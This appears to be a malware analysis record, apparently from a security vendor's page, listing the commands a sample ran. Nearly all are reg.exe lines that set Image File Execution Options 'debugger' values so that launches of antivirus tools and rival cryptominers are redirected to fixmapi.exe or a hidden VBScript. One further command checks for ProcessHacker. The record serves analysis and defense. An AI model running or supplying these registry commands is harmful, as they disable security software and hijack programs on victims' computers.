'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explores.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsbu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systrays.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeMain.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\tasklist.exe'
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hale.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuapl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdobeCtrl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BusinessMessaging.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3306.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svnhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPA.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_x64_SSE2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ToolbarUpdaterService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\swdoctor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdhelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uistub.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\klvk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HpSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NiceHashMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ANTIVIR▄.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdcsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\player.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardBhvScanner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spools.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spooIsv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Win_Updater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2guard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atiecla.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmdjmg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skying.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xStarter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardScanner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchsot.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemNT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snmptrap.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EthDcrMiner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPS.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a1g.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe(1)" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rvlkl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sessmgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3SP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvcc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SFAUpdater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updata.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rutserv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LoadStat.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuikProtect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QpMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbtce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Vip Slow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2start.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Miner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mark.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wwmeeg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Spred.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Hkufhbj.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mrolsmc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhostgui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Search.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aawservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WRSA.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winup.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UninstallMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\find.exe' "ProcessHacker.exe"

Technologies

Begriffe

Schulung und Training

Mythen

Technical Information

Curing recommendations

Free trial